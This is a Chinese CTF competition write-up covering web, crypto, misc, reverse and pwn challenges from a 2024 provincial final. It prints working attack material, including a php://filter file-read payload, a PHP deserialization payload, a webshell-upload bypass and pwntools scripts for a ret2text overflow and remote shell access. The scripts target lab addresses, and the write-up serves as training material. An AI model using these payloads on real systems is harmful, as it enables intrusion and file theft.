2024山东省信创大赛-网络安全决赛-WriteUp

16th Nov 2024
8 min read
Tags:
CTF,
WriteUp,
WEB,
CRYPTO,
MISC,
REVERSE,
PWN

前言

打了这么久的CTF,头一次拿到这么好的成绩,也是运气比价好,赛题难度并不高,就是题型种类比较多排名1 排名2

WEB

Easyinclude

就是一个简单的伪协议，打开网页之后会有个提示，仅支持php://组装下面payload即可拿到flag file=php://filter/read=convert.base64-encode/resource=/flag

easyserialization

源码没有保存，本地的只有留下了这样的一个源码,应该是还有一个创建时初始化的一个魔法函数我这里没有，也并不是很重要

<?php

class Challenge {
    public $file;
    public function __wakeup() {
        if (isset($this->file) && file_exists($this->file)) {
            echo "Reading file: " . htmlspecialchars($this->file) . "\n";
            echo file_get_contents($this->file);
        }
    }
}


if (isset($_GET['data'])) {
    $data = $_GET['data'];
    $object = unserialize(base64_decode($data));
    if ($object instanceof Challenge) {
        echo "Object loaded successfully!";
    } else {
        echo "Invalid object.";
    }
} else {
    highlight_file(__FILE__);
}
?>

这个就是一个简单的反序列化题目直接通过下面php代码可以拿到payload

<?php
class Challenge {
	public $file = "/flag";
	public function __wakeup() {
        if (isset($this->file) && file_exists($this->file)) {
            echo "Reading file: " . htmlspecialchars($this->file) . "\n";
            echo file_get_contents($this->file);
        }
    }
}
$a = new  Challenge();
echo(base64_encode(serialize($a)));

输出的payload就是 Tzo5OiJDaGFsbGVuZ2UiOjE6e3M6NDoiZmlsZSI7czo1OiIvZmxhZyI7fQ== 直接把这个通过get方法提交一下即可拿到flag。

EasyUpload

就是一个简单的文件上传,他只是在前端做了校验,直接关闭js或者通过bp改包就可以直接上传一句话木马。

EasyXSS

这个似乎只要触发一个js即可拿到flag,我这里提交的内容是alert("a")就直接出flag了 flag

贪吃蛇

这道题是一个贪吃蛇的小游戏，打开如果失败的话会疯狂弹alert,但是在js代码中有一段,我没截图,主要内容是当分数达到10000分数的时候会去访问/check_score.php?score={score},这个score是js获取的一个前端的分数,这里直接去访问,并且提交的分数改成10000即可拿到flag flag

CRYPTO

Snake

拿到一个xlsx，内容如下 xlsx 全部拿到后内容如下

71736E6374667B333939623130
D226139343D293663336D24636
6466623564303365346364307D

虽然这一看就是一个hex,但是需要注意的是第二排需要按照倒叙的方式来解,倒叙后内容如下

71736E6374667B333939623130
63642d633366392d343931622d
6466623564303365346364307D

解密后flag如下 qsnctf{399b10cd-c3f9-491b-dfb5d03e4cd0}

xor??-未解出

这个没解出来。。题目如下

from Crypto.Util.number import *
from sympy import *
from secret import flag,p,q

m = bytes_to_long(flag)

e = 65537
n = p * q
c = pow(m,e,n)

gift = (p & ((1 << 512) - 1)) | ((q & ((1 << 512) - 1)) << 512)

assert (p >> 512) | (q >> 512) == p >> 512

print(f"n = {n}")
print(f"c = {c}")
print(f"gift = {gift}")

'''
n = 22300263779226600333707473198598647654586791738192786487872341060549374464515756464831291121794493491628026410031636012731224310283780712705127946876337346792983330169999708383502979934455218977341916203480043646330249706425191087158768772897284824714215310750500324405913078513586115942973598972028456719258412752868858010367332454700749465077295893753856300090205499399672260914493625284837623170771182663958262375169538237641806992429167611040610962810390047099494198147686583829074495458147901228382344710045093591497591069538588549638706624689358708178742953378013980352591578590565561973692754878065312844684039
c = 2789349312179674828983519895012288021364883565541096223573403043876145063155298742667101315206330923965626225224722216578129785473659597135634073481357017163156801089623720545920267633251219433978329233179047589516882719597561666650966835698340944488882002550160001904108294903200508334328339836462532458745875470345613890981070063190554683505521428298485976862346790095837034606211107203193453017429253887699383192730893936894968671587051400342232432929531973833505733677046502666077369824478853033623369528901115690813846094658073821756265042291548636374267713902023795637057278347955318752713402772285916021781682
gift = 131398839321309540646267063721349417789603592370980593410155240946696431870464030053462906524477650498948454139295406557167508415001798276366289094569175144435884833537410440153695724327068254496589876483771534218696482878357965602053184992717780586024384289674850266219571906505500511285657212316507394933353
'''

高等数学1

题目内容如下

在一次RSA密钥对生成中，假设p=473398607161，q=4511491，e=17
求解出d作为flag提交

提示：phi_n = (p-1)*(q-1)，将e和phi_n进行反函数求模即可。

通过下面脚本即可拿到flag

def mod_inverse(a, m):
    m0, x0, x1 = m, 0, 1
    while a != 0:
        q = m0 // a
        m0, a = a, m0 - q * a
        x0, x1 = x1, x0 - q * x1
    return x0 % m
p = 473398607161
q = 4511491
e = 17
phi_n = (p-1)*(q-1)
d = mod_inverse(e, phi_n)
print(d)

flag为flag{125631357777427553}

高等数学2

题目内容就是这些东西

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

通过下面脚本拿到flag

import gmpy2
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(m)

flag为flag{5577446633554466577768879988}

DHDH-未解出

题目如下

from random import *
from hashlib import *
from Crypto.Cipher import AES
from flag import FLAG
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
g = 5
def DH():
    a=randrange(p)
    b=randrange(p)
    A=pow(g,a,p)
    B=pow(g,b,p)
    s1=pow(A,b,p)
    s2=pow(B,a,p)
    assert s1==s2
    return s1,pow(A,2*b,p)
def pad(msg):
    l=16-len(msg)%16
    return msg+l*chr(l).encode()
s,hint=DH()
key=sha256(str(s).encode()).digest()
aes=AES.new(key[:16],AES.MODE_ECB)
cipher=aes.encrypt(pad(FLAG))
print(s>>64)
print(hint>>64)
print(cipher.hex())
'''
1361502353718142335290756823026766551003746542140869010376
1828232899563452375539387989530262337663045447357617554114
fe9d5504337268af5038f5f538d6e27c2a5d69b50edb8fdb3d085227090fab85f34c19fb3b32f6a1c667373d4ce9d5b0
'''

没解出来。。。

easyrsa

这道题。。佩服出题人提供的附件，里面直接就是flag,直接看题吧

from Crypto.Util.number import *
flag = b'flag{C@d0_1s_s0_3asy!}'
#assert len(flag) == 22
def getMyPrime(e):
    while True:
        mp = getPrime(128)
        if (mp - 1) % e ** 2 == 0:
            return mp
e = 23
p = getMyPrime(e)
q = getMyPrime(e)
c = pow(bytes_to_long(flag), e, p * q)
print(f"e = {e}")
print(f"n = {p * q}")
print(f"c = {c}")
'''
e = 23
n = 63465293776825804886780705907118514318354492203844885746068763972603420624459
c = 8415448673923521810157495017636043788928337310356253266903946044592128831391
'''

flag为flag{C@d0_1s_s0_3asy!}

power-未解出

题目如下

from Crypto.Util.number import *
from os import urandom
from secret import flag

m1 = bytes_to_long(flag[:len(flag)//2]+urandom(128-len(flag)))
m2 = bytes_to_long(flag[len(flag)//2:]+urandom(128-len(flag)))

p = getPrime(512)
q = getPrime(512)
e1 = getPrime(16)
e2 = getPrime(256)
n = p * q

c1 = pow(m1,100,n)
c2 = pow(m1,201,n) + e1
c3 = pow(m2,3,n)
c4 = pow(m2,5,n) + e2

print(f"n = {n}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"c3 = {c3}")
print(f"c4 = {c4}")

'''
n = 118551384105265891143241093249027825785975552077598433349491906297304376014433545146681576312672860392895740874135183252592199074916652958722532441310299368574407429281595875200076325010809218722569831431269164222918750275453537587439380341362035526268555097575973427405577674303858695799268503307304543423063
c1 = 87457268939573192120622126045719881506636419685131068960408775013001944668364075230248268273203778617951381294781106811900667729470329301342312615051787830757000315684365286434709267452816294982790221925573245151823415334741569605616576940338843584693128994087886808502555759223154299903971565577448316614328
c2 = 23392680863562877012124860793229018418883106005846624676772731890613378685805549920531076176062442715192138578953654144535984477169391436311656848448046539545152124987757977144390574606249346989360826293515584270674930169101305999135460549834043565483952429374211671151759029303142617642249979924561633750189
c3 = 116753531119914702189998091085515603804982822177797634882657879640256939859927348236382130729654062151110736357566214962573821592383741851497033566349080757310118522485134928318404912851656846501838656571530273243817671246806755397617788624067212148734009764625213083816577180905485446541197197725696652742410
c4 = 101789432173086940827318148304924220350912310081074818752138448179662865165901494216292145407356834573752612403409055879217358167304865760311271596169839803911734092110080837804490998553946188023988886261546960169606191495262688174204421558754825485142547673746018349734656483749257460610084980119145152844839
'''

根本解不出来。。。

MISC

隐藏的信息

打开附件，数据是这样的 hex base64解出来之后全是一个16进制的数据，通过010Editor复原一下文件他的文件头是PNG直接用png打开发现下面内容 png内容没啥思路，直接拖随波逐流拿到flag flag为flag{lsb_steg_so_easy}

不想上早八

附件包一个txt提示,一个流量包,一个zip,提示信息如下

经过学生举报，有一个学弟经常说不想上早八。于是往老师的电脑里传了一个文件，不过文件被加密了【加密内容.zip】。

已知该学生可能会将密码设置为老师的电脑密码，网管中心截获了该学生往老师电脑传送文件的一部分数据包，你是否能通过这个数据包获取到登陆密码，并成功拿到加密内容里的内容再分析出FLAG呢？

流量包就俩流，0里面直接就是密码通过xyvtc2024拿到压缩包内容文件内容里面有非明文数据，可以继续通过随波逐流的这个工具来解密随波逐流-1 随波逐流-2 flag内容为xyvtc{9bfd8ebf-e0e0-48f7-85ab-051075e2167c}

奇怪的压缩包

这个附件拿到之后是有密码的,他是一个伪加密,解压后是下面的内容这就是个二维码，给补齐标识位即可拿到flag，补全后的二维码如下补位-CQR flag内容为xyvtc{People_who_know_CTF_are_the_most_affectionate}

最后一个MISC

附件内容都是16进制的内容文本内容通过010Editor复原内容是一个ppt,直接看ppt我是没拿到flag,改后缀zip,解压到本地搜索flag就可以直接拿到flag flag flag内容为flag{1ff93348-0abd-4e2a-9023-9effe8ad789b}

REVERSE

ez_Android

附件给了一个apk,这道题没做出来,但是我们老师解出来了,方法是直接解压压缩包之后直接搜索flag 打开这个文件即可拿到flag flag flag为flag{bd8ccdea-b67d-4ec6-b489-eb3bde3342a2}

其他

EasyGo、KSGO、你看得懂汇编吗、数字计算可以通过我队友LeonChows的博客查看到

PWN

code-未解出

这个ida分析main函数的时候会报错，这个问题还不会解决，估计是有个函数没办法反编译，只能看汇编，这里也是没办法，就没搞

int-未解出

这个看了看似乎是一个字符串的题目，感觉难度比较高PWN这块目前就学了栈溢出，后面没学到还直接放弃了。。

math

这个和初赛的一道题目很像，脚本拿回来改一下即可，就是一个算术题，之前是和程序比速度，谁先算对100即可拿到bash，这次是100秒内算出100道题目可以拿到bash，脚本如下

from pwn import *

io = remote("192.168.0.2", 32265)

correct_count = 0
io.recvline()
io.recvline()
io.recvline()
while True:
    msg = io.recvuntil(b" = ").decode("utf-8").strip()
    print(f"script:{msg}")

    if "=" in msg:
        try:
            a = msg.split("=")[0].strip()
            result = eval(a)
            print(f"script:计算结果: {result}")

            io.sendline(str(result))

            correct_count += 1
            print(f"script:当前答对次数: {correct_count}")
            aaa = io.recvline().decode("utf-8")

            if aaa == "恭喜挑战成功!\n":
                io.interactive()

        except Exception as e:
            print(f"script:无法解析表达式: {msg}, 错误: {e}")
    else:
        print(f"script:收到无效消息: {msg}")

text

这个很简单就是ret2text,ida分析道-函数直接就有system("/bin/sh") _函数直接拿到地址0x401214 sh地址偏移甚至都不需要通过gdb去看直接看ida分析溢出位数 v1就32，因为是64位程序，直接+8偏移位数就是40，脚本如下

from pwn import *

# 利用地址
run = 0x0401214

#io = process("./text")

io = remote("192.168.0.2",30682)

payload = flat([b"a" * 40 , run])

io.sendline(payload)

io.interactive()